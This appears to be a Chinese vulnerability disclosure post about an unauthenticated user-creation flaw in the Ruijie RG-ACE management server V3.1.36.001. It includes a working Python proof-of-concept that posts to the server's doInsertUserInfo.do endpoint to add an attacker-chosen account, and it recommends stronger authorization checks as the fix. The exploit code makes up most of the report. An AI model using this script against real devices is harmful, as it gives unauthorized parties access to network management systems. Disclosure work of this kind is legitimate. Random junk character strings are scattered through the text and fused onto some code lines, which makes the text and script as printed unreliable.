锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）

/ b/ T, f' K% y* I: W" U( z! O
测试的具体版本是
! e3 }3 C$ q9 M0 `; b3 ?产品名称: 锐捷应用控制引擎
) p" m, [4 l/ X" `+ L; P; L; E1 G+ {版本号: 3.1.36.001 TC
$ h1 }0 d; C) H$ v2 w/ ?7 }- o, i编译时间: 201104291730

: p5 R# D  y& Q+ W/ e9 M
漏洞证明：

8 L3 |* |# b' C6 j
! Q# Q) x- A9 N1 [9 l; D" A; O; S8 p
8 L9 _9 o0 j" g' P- |7 a5 H' c
2 _1 ~  C; ~) O# G; V) E- c
; u+ k6 E6 W2 z/ o0 E& o. Y
* D. Y; G; K) N( }执行脚本
. V3 c' Q" O  w! R3 s#! /usr/bin/env python
#coding=gbk
+ i4 `& ?! A1 m3 h3 D#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
1 a5 G* O3 D# A0 ^  p8 Q& q. Eopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
2 @- _- V( W2 {7 o# N, @) C) J2 copener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
0 K) L' P& n+ c3 A) h+ H: ]2 k3 `post=(("event","userManager.doInsertUserInfo"),
("useractionname","addButtonValue"),
("useropermanager","userManager"),
1 k4 q/ ]& `0 r+ F; Y("userName","t"), #######账号自己加
  Q1 m* g/ z6 `, {("pwd","aaaaaa"),######密码自己加
7 b, x+ {3 ?9 ^("trueName","ad"),
("email",""),
("mobilePhone",""),
("officePhone",""),
1 t9 m0 j7 z5 ]" Q5 r("addr",""),
& ~$ F+ N& `- s: |& q) j("submit","确定"))
# R5 U  M/ u( Q' Q" B1 j8 Zurllib2.install_opener(opener)
2 Q9 L0 y0 o/ a9 h2 _5 cp=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"

6 S: a& t9 G4 c9 v9 p; _& E9 Z/ _( ^) B登录，连接设备

; z' {; `2 ?# x



" _. u( s4 e; k; [默认的管理员admin权限更大点
* y1 g; ~$ z% ~2 Z
$ ~0 f: V) I. t% a" [5 |" x( J
% T6 a7 z; X6 g/ q/ }: b- I7 f  B

/ x2 d% H# e2 j$ T2 K
修复方案：
' l( w) C8 L, Q7 m4 d2 U, S+ F加强对接口的权限验证
0 n) ^/ B; ]/ L8 X" G! w1 O  v% x# \0 ~